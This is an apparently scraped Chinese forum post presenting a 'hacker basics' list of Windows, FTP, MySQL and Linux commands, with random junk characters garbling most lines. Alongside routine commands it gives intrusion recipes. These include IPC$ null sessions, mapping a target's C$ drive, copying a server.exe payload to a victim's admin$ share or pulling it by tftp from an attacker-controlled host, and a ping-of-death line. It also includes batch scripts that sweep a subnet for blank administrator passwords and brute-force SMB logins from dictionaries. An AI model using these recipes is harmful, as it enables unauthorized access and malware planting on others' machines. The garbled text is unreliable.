返回列表 发帖

黑客基础--最全的DOS命令

net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] " " /user:" " 建立IPC空链接 ) W6 i( s* z! L6 b0 g
net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] "密码" /user:"用户名" 建立IPC非空链接
  d& B: B+ G* ]! X  G1 k7 z2 l( Hnet use h: [url=file://\\ip\c$]\\ip\c$[/url] "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: 6 ?, A$ M) b% D0 F. C* S
net use h: [url=file://\\ip\c$]\\ip\c$[/url] 登陆后映射对方C:到本地为H:
9 K! ^- W* ?7 tnet use [url=file://\\ip\ipc$]\\ip\ipc$[/url] /del 删除IPC链接 % w( {% h" R! z) S' d+ R& {
net use h: /del 删除映射对方到本地的为H:的映射
& A( }9 F4 d, |- I5 o3 H# s3 Nnet user 用户名 密码 /add 建立用户
6 }# G  s: U6 v3 i" K3 lnet user guest /active:yes 激活guest用户 * U) A9 d2 o8 D' G, q) t6 i: Q
net user 查看有哪些用户 ' M/ @5 ~6 V+ ?3 K0 ^9 z
net user 帐户名 查看帐户的属性
# L' E% x- N  ?net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数 + s  B+ g; h) S& r2 @6 ], B  [
net start 查看开启了哪些服务
* R$ s) ?" C+ w$ [8 `( x" Snet start 服务名  开启服务;(如:net start telnet, net start schedule)
# A) c7 r: V, v' e& t, Inet stop 服务名 停止某服务
7 f: G5 a) o3 K0 _. g7 i& h/ cnet time \\目标ip 查看对方时间
; X; {4 {) R9 x4 d( G! }net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 + o2 c/ v" \8 @
net view 查看本地局域网内开启了哪些共享 5 Q5 r: a7 l: H2 _" r7 m
net view [url=file://\\ip]\\ip[/url] 查看对方局域网内开启了哪些共享 ( S2 `1 L' g! k7 j; X+ O0 m
net config 显示系统网络设置   C* {: l4 K( z- [
net logoff 断开连接的共享
0 R8 m8 }) |( \; ]  Nnet pause 服务名 暂停某服务
$ d: F& N  h8 U8 y3 [  o% x: Fnet send ip "文本信息" 向对方发信息
3 h2 B6 C  M. ~) Z- F, unet ver 局域网内正在使用的网络连接类型和信息 % k% o3 ~8 o8 u
net share 查看本地开启的共享
4 c, P0 @% H" @% ~! Pnet share ipc$ 开启ipc$共享
2 Z5 ]3 P7 }) p8 X+ I# v0 a2 ynet share ipc$ /del 删除ipc$共享   g' r1 K* D1 q. U5 A" `1 ^
net share c$ /del 删除C:共享
4 [; P) R- u& `net user guest 12345 用guest用户登陆后用将密码改为12345 ; B+ w. Y5 q% E9 K! `) z) }
net password 密码 更改系统登陆密码
  D& `/ A6 \0 w; a3 z" c6 Gnetstat -a 查看开启了哪些端口,常用netstat -an
6 i4 E" A% ~* l  k( c% |netstat -n 查看端口的网络连接情况,常用netstat -an
) U* J' l4 X2 ~" n% gnetstat -v 查看正在进行的工作
% S9 `: Y8 t) Y2 Enetstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
  v- [9 y: B  i# B& D! @5 k5 tnetstat -s 查看正在使用的所有协议使用情况 4 K( X% B3 Z, L: `9 i* e
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 $ y2 }* ~2 j, [& I" S5 s
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。 : {. l' X. M6 i1 D
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。 1 `* F1 J/ z" Q
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
* S9 P$ a1 u' R* r! H4 q6 C% fipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息 9 ?) `, |( R, [  k
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) # x; x/ A( i2 f- t
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
/ p$ ~& d4 X; ^del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
. u# N  O6 b: y- @  u1 j& [del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
' P+ O( g4 d+ kmove 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
- N6 z/ B+ u+ K8 l& o1 _fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令 ; f3 Z5 w# b/ s. a, O' h( b& f7 K
at id号 开启已php?name=%D7%A2%B2%E1"  class="t_tag">注册的某个计划任务
% R( E. s* r# b  T* @3 J" ~at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止 7 \! [$ j: [* P) L1 X7 b
at id号 /delete 停止某个已注册的计划任务 % H3 ^4 ?% v3 a2 r* K- ~! H' n
at 查看所有的计划任务 ! ]9 i5 ]0 t  F$ z; V
at [url=file://\\ip]\\ip[/url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 ! p" g3 Z8 q8 n$ L
finger username @host 查看最近有哪些用户登陆 1 _+ C( k# n4 A; Q, U
telnet ip 端口 远和登陆服务器,默认端口为23 . U2 c# a* Z# K9 B4 j
open ip 连接到IP(属telnet登陆后的命令)
+ a/ O8 ~8 V' S' C9 Q6 J. S7 Xtelnet 在本机上直接键入telnet 将进入本机的telnet ' m  ^7 V& x! D  n+ `9 a
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
, e6 D. E3 V# k3 Q  @0 j( Rcopy c:\srv.exe [url=file://\\ip\admin$]\\ip\admin$[/url] 复制本地c:\srv.exe到对方的admin下
- A6 K3 o4 s+ u3 o& Dcppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件 3 [- @6 u+ L0 N9 W4 _
copy [url=file://\\ip\admin$\svv.exe]\\ip\admin$\svv.exe[/url] c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
& b4 ~) ?3 w- o7 Z  r# z5 Sxcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
8 g" p. w/ L% _7 c" Q' Atftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
1 M4 V" s1 N7 W& {+ u/ n0 Z8 Jtftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
; x; S9 Z4 J7 t! Oftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时) , O7 E7 p. b+ ?9 m& ^
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
; B, i( E8 P7 ^( ?! S& w; P8 }4 N. p5 Qarp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
  V# \+ r& ~/ J" z: }& R1 tstart 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令 " i8 Y! J. f' r
mem 查看cpu使用情况
; L: F- g+ c" H( g1 oattrib 文件名(目录名) 查看某文件(目录)的属性
( X1 b5 _( h0 H6 i9 B9 ~attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性 ) E  \( H4 E! Y+ [) w
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
/ n' [' m' s  Ydate /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间 ) g" y) u8 a( k$ o. g* K0 c
set 指定环境变量名称=要指派给变量的字符 设置环境变量
$ s# |1 D  s7 d( x  ~3 E9 \+ Y* ?! Qset 显示当前所有的环境变量
/ S5 |9 \+ M8 v9 cset p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 + O  E9 R5 I$ |( P! V$ ~  v; Z4 ?
pause 暂停批处理程序,并显示出:请按任意键继续....
" u% F0 @$ ~$ d" L, T: Gif 在批处理程序中执行条件处理(更多说明见if命令及变量) 3 u- E# q$ N# J( @/ ~7 `
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
  g/ T0 V6 A4 M. M+ Q6 Mcall 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
* @3 {' n+ t( T+ V% M* G" zfor 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量) ) j2 t; p, w+ G
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置 ' \! B5 m$ E2 s
echo 信息 在屏幕上显示出信息 $ W/ {: F* L( z# K) C
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中 4 l) K0 ?9 Q$ \
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello ( Q) T6 K4 E  t4 c; m$ m* J5 t( ~
find 文件名 查找某文件
1 D: K5 r- x$ h( z1 l5 ytitle 标题名字 更改CMD窗口标题名字 7 ?% H0 b( `/ J  \+ {
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
+ A# t& |% b% R% ?8 X  y9 k7 j& ~- \prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
2 w; k! r$ i$ g' ?# @/ }; Mprint 文件名 打印文本文件
) T% `, v! _( c1 Y3 B9 }ver 在DOS窗口下显示版本信息
; e! P" D1 {4 l; ?$ M6 cwinver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
9 U3 D6 G/ U" L* Rformat 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS " d; d- Q* }& h) Y5 R
md 目录名 创建目录
5 a- B* W7 v* |' {9 Yreplace 源文件 要替换文件的目录 替换文件 0 o* p5 G8 m# @8 \* ^3 J; C
ren 原文件名 新文件名 重命名文件名
8 \. r, p# @+ k% j6 }8 e2 Rtree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称 , q: I/ Q9 g- }; t( R
type 文件名 显示文本文件的内容
: _0 T" @, f3 n$ ^; \more 文件名 逐屏显示输出文件
* T" C. T5 u) `4 {! o. T& q' Zdoskey 要锁定的命令=字符
5 u# @$ A( L! E: ~$ _9 Y* tdoskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
/ W) }+ m- q4 s: R( vtaskmgr 调出任务管理器
) r6 b# o$ c- qchkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误 ) V7 X& s* |" x4 ^
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口 - J/ b3 p+ Q- g1 }/ H
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
! ^9 y5 @% G( }' y4 K9 kpath 路径\可执行文件的文件名 为可执行文件设置一个路径。 % ?+ K/ }! W9 j! h* E
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /? / O. G! O5 {/ |7 E
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
: Z0 i& \4 V8 r# n. n6 r* B& sregedit /e 注册表文件名 导出注册表
- }! y9 w4 q1 u: ]# c7 z9 ^( zcacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
9 }6 t  _1 H+ ?( Y- M% n& bcacls 文件名 查看文件的访问用户权限列表
; ?: Z4 w. ~* G  TREM 文本内容 在批处理文件中添加注解
& @7 c, Y) r6 Knetsh 查看或更改本地网络配置情况
& G/ ~; D/ |& ^8 ]# x! e0 ?3 YIIS服务命令:" y) B4 B' F$ u
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
8 c- f! P. [- B) Xiisreset /start或stop 启动(停止)所有Internet服务
  L1 \% I! O( F, Kiisreset /restart 停止然后重新启动所有Internet服务 , P- A! \# ^/ I, }
iisreset /status 显示所有Internet服务状态
6 H; D  g: c; ]4 [iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动 . c. h" M% K. c3 e  X
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机 6 S9 V! P5 |8 d5 m& f5 W
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务 4 j; Z$ o; t- J5 a" z
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。 6 z- ?7 g( ^0 F, w: q; Y  j% [2 ~
FTP 命令: (后面有详细说明内容)
+ {4 g# d/ }, S1 }$ \% Wftp的命令行格式为:1 A2 m; {" o3 X& Q% e; L0 ?- G: I0 |
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。' i) z' H! N8 [( A% T0 J1 O
-d 使用调试方式。
) ?2 U* M% R/ _) r$ x6 o-n 限制ftp的自动登录,即不使用.netrc文件。, m. k: j. `& Q% n
-g 取消全局文件名。 & N/ ]3 q) h: a5 u7 [6 i3 u$ i9 W
help [命令] 或 ?[命令] 查看命令说明
- U1 k6 ?; e- Vbye 或 quit 终止主机FTP进程,并退出FTP管理方式.
1 R9 ]# M! }* m1 j. Xpwd 列出当前远端主机目录
# S3 N( I/ p! Y- T+ Q# ~put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
% h) f  i/ q8 d' iget 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
; U( Y) e7 D! r: @* [; g6 _mget [remote-files] 从远端主机接收一批文件至本地主机 2 w$ l. e2 C6 y9 d% \5 n
mput local-files 将本地主机中一批文件传送至远端主机
4 J; \3 F& X$ V# ^' `dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
1 M. k4 }0 B3 _9 [7 `% ^, ?, @6 fascii 设定以ASCII方式传送文件(缺省值) ! b4 f+ i; c2 G; N# j, Q
bin 或 image 设定以二进制方式传送文件 5 n& [% s# M4 B( b& Y
bell 每完成一次文件传送,报警提示 $ y" \! k8 z5 x% T3 H3 V' x
cdup 返回上一级目录
8 r/ w3 ~3 B, A( F1 N) k/ zclose 中断与远程服务器的ftp会话(与open对应) $ v% y/ n& g) v; N2 f8 u& {
open host[port] 建立指定ftp服务器连接,可指定连接端口 : C# Q; b, u  A- R  q# K& T! R
delete 删除远端主机中的文件 ! [7 d3 D$ X  Q, g; Y
mdelete [remote-files] 删除一批文件   W' ?/ _0 H( u5 t) P, x( w
mkdir directory-name 在远端主机中建立目录
5 v1 w$ [. E( R2 ?5 Irename [from] [to] 改变远端主机中的文件名 1 X$ ]( M7 c$ x9 r. ^' W! p+ T
rmdir directory-name 删除远端主机中的目录 4 Z5 Q+ K. N1 J
status 显示当前FTP的状态
& C5 _: W4 |3 Lsystem 显示远端主机系统类型
! V/ P1 J  g1 F6 E) puser user-name [password] [account] 重新以别的用户名登录远端主机
' X6 F& S+ B1 C* B* k* aopen host [port] 重新建立一个新的连接 ) ^: T% i* R. Y4 L: Z
prompt 交互提示模式 ; e# s3 R- d1 d5 H( ]7 S7 [' ]
macdef 定义宏命令 4 z7 ]& i) V& V4 `6 b! ]+ G
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
7 a1 M3 z. j9 T4 P; K3 c2 Achmod 改变远端主机的文件权限 3 y1 \$ N3 e- ^  V* B2 C- E6 w8 G$ {
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 3 b; L! D5 ~" |, |
cd remote-dir 进入远程主机目录 9 K) u: N2 U% L# x: Z9 K  q- t
cdup 进入远程主机目录的父目录
: d( {' `# u7 e% t% ^! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
* W+ }3 q8 R. C: H& Q0 u2 GMYSQL 命令: 6 u' m4 t% z1 B3 i$ N; I+ z6 w
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
& f  [* I3 O8 e# t+ J, l3 k(例:mysql -h110.110.110.110 -Uroot -P123456 . }/ u3 \% r6 M9 M# v
注:u与root可以不用加空格,其它也一样)
8 ^$ Y, `1 p6 `- kexit 退出MYSQL
2 G9 x0 P/ y! B2 r) rmysqladmin -u用户名 -p旧密码 password 新密码 修改密码
! R+ r0 J6 h6 e( kgrant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符) . z1 Z9 \* i5 b. Y; @+ v5 b
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
! W+ j; A2 P* ]# C2 ]' Luse mysql;
1 ?% j. ]! [: w6 @9 @- Nshow tables; 显示库中的数据表 3 c0 C0 X# ?# _0 A' s
describe 表名; 显示数据表的结构 ( C; O2 z3 g3 h& ]/ Z
create database 库名; 建库 ( g* r8 k/ X5 B/ L
use 库名;; w4 @7 R+ ?! C2 g& k
create table 表名 (字段设定列表); 建表
0 B  H/ ]7 `7 O. b( o4 |drop database 库名; 2 W, M- D+ `! X! }$ l, i+ q* ^
drop table 表名; 删库和删表 2 {& X# ?9 R  f
delete from 表名; 将表中记录清空
3 Q3 W3 \& H; I8 q5 d7 R3 U- h+ N, Fselect * from 表名; 显示表中的记录
' f+ |5 ?. D; m% H! Q& R& W; nmysqldump --opt school>school.bbb 备份数据库:(命令在DOS的[url=file://\\mysql\\bin]\\mysql\\bin[/url]目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。 ) }' a# `2 O! ]$ O3 S$ Z3 w8 Z5 C
win2003系统下新增命令(实用部份):   Y0 s7 t  L7 j
shutdown /参数 关闭或重启本地或远程主机。
2 d5 C4 A# _# R* C3 |参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。6 ?( `3 M+ e6 n* P' A1 H2 B
例:shutdown /r /t 0 立即重启本地主机(无延时)
# D( r' {4 O2 rtaskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
4 n& t' y( g8 g- ]参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
9 t8 Z$ i) Q% b# u. p0 Ytasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
2 c4 B# V9 E. S4 [% ^5 ~" s2 ^参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程
) q- D4 Y. V. J0 _/ }8 ]' ELinux系统下基本命令: 要区分大小写
" F5 t& G5 y* v. f  Euname 显示版本信息(同win2K的 ver)
! m) b3 h/ K( D5 s0 q3 W3 X0 hdir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir) 1 x* e. i" @8 a- p3 f1 V& d
pwd 查询当前所在的目录位置
8 f. l$ b3 T1 Mcd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。 4 d$ e! T6 x9 s0 S# ]/ n- _7 V5 O
cat 文件名 查看文件内容
/ r3 ]$ m5 S9 T) d  Bcat >abc.txt 往abc.txt文件中写上内容。
  `6 z4 w$ c0 j! X- t8 umore 文件名 以一页一页的方式显示一个文本文件。 ( s% k- r8 k& v) P, f
cp 复制文件 7 y- {0 r; f7 a* R/ b& O
mv 移动文件
& l, x8 b& E% ?# H0 O3 Brm 文件名 删除文件,rm -a 目录名删除目录及子目录 7 M$ _% s0 X% f! e4 I5 W
mkdir 目录名 建立目录 % v0 R+ Q- w* e' T
rmdir 删除子目录,目录内没有文档。
% G: g% C, Y0 x( U; d+ Ichmod 设定档案或目录的存取权限
0 B+ _; w- s; b/ cgrep 在档案中查找字符串 9 ]5 ?- F2 X( y' V+ ?5 g3 [3 y+ o
diff 档案文件比较
* Q0 K) B4 R% J+ {0 s7 Xfind 档案搜寻
" }1 q+ l7 O# L8 j  Hdate 现在的日期、时间 . f* a# E% x/ U. M3 Q) A
who 查询目前和你使用同一台机器的人以及Login时间地点
. W5 }/ Y$ _4 C* |w 查询目前上机者的详细资料 : n7 \/ W, e- h* N& u) u9 w+ w- o
whoami 查看自己的帐号名称
( G% _/ q: N& U& a6 C" `) C4 @groups 查看某人的Group ) o! \* _$ i! a( f0 R
passwd 更改密码 4 {# X1 f/ f+ R1 ^0 |; j
history 查看自己下过的命令
" k5 {% d  @- f: Q+ h* R. D& ^  ^ps 显示进程状态
1 a1 V4 x- g" |  @/ Q- l  W! D9 ^kill 停止某进程 : N8 x  a! Y2 i5 ?4 F: G0 T
gcc 黑客通常用它来编译C语言写的文件
% Z9 X( r# f( f$ `7 ^+ Ysu 权限转换为指定使用者 + R, U" Q! C0 J5 S" T+ o/ R, V# k& z$ s
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。 ' z$ D. K' n; `0 o9 A6 ]: D
ftp ftp连接上某服务器(同win2K
- l1 L+ p, {+ U& R( }  a4 d# S, F附:批处理命令与变量1 b! |. L$ T. J8 \
1:for命令及变量 基本格式:
" z1 K- [9 Z: ]8 WFOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。' ?+ i) @5 Y5 @& o" E
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] pass /user:user 中ip为%1,pass为%2 ,user为%3
" p1 n1 B# u5 l) L0 ?  g9 v1 I(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1}
% ?, |3 r3 V( ?. G9 c6 v7 acommand:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开0 a& H0 Q% b' J" s. [
command_parameters:为特定命令指定参数或命令行开关; s  Q6 C2 y% _
IN (set):指在(set)中取值;DO command :指执行command
& e0 A. G2 {% G( _4 k$ x# ]参数:/L 指用增量形式{(set)为增量形式时};/F 指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。 , ^% D5 Z- P3 n; ^" G* l% ~7 {- p
用法举例:
4 Y& `% w$ E0 G0 e7 D- g- {@echo off
& g) P/ \5 i3 a. [' necho 用法格式:test.bat *.*.* > test.txt   m& _/ }5 |3 j2 C7 ^6 I% A9 w
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use [url=file://\\%1.%%G]\\%1.%%G[/url] /user:administrator | find "命令成功完成" >>test.txt
  J# ^0 I' F0 x  n, ^- ^, _存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。4 D/ N) i+ X0 a8 }- {5 T5 ~4 P
/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
' x' \  y$ D' g6 @@echo off
' |5 A- @. z# H. V2 ]5 {3 @1 Iecho 用法格式:ok.bat ip
  _& m% c4 `1 I" b' V/ {FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
9 V" c+ B0 N3 ^+ w( v8 c+ R( C存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。) c6 ^, T& h7 Z! x3 f7 i, `
2:if命令及变量 基本格式: 6 n6 ~# [/ Z* {6 M; x3 [4 @
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。( |2 ?( J6 k& r8 q$ g1 Z+ r1 h
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。- t* o* y' A+ ^. ?% D: C' R
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
8 [1 [1 _9 F( n/ G- BIF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
+ H- G  |3 K( {% k& [% j9 _  ?) [例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
& B5 Z4 a4 P0 X/ ZIF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
% x; K7 f0 `) Z0 S例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
7 a) M" i2 F4 W. ?% v6 v! tIF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”

返回列表
【捌玖网络】已经运行: